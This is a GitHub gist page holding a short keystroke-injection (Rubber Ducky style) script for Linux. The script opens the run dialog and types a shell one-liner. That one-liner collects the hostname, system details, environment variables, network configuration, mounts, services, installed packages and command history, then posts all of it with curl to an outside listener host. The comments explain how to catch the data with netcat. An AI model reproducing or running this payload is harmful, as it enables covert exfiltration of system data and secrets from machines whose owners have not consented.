Skip to content

Instantly share code, notes, and snippets.

@JonnyBanana
Created April 17, 2018 03:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JonnyBanana/2915f169b60375813362fa89684c9880 to your computer and use it in GitHub Desktop.
Save JonnyBanana/2915f169b60375813362fa89684c9880 to your computer and use it in GitHub Desktop.
REM Exfiltrate various useful information.
REM To capture, run `nc -l 9999`.
REM Make sure to update the hostname before using it.
DELAY 1000
ALT F2
DELAY 100
STRING sh -c "{ printf 'Hostname: '; hostname; echo; printf 'uname: '; uname -a; echo; echo Env:; env; echo; echo Network:; nmcli; echo; /sbin/ifconfig -a; echo '/etc/hosts:'; cat /etc/hosts; echo; echo Mounts:; mount; echo; echo 'Running services:'; netstat -tunlpe; echo; echo 'Installed packages:'; dpkg -l || dnf list --installed || pacman -Ql; echo; echo 'Command history:'; history; echo; } | curl -F data='<-' http://eternal-pickle:9999"
ENTER
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment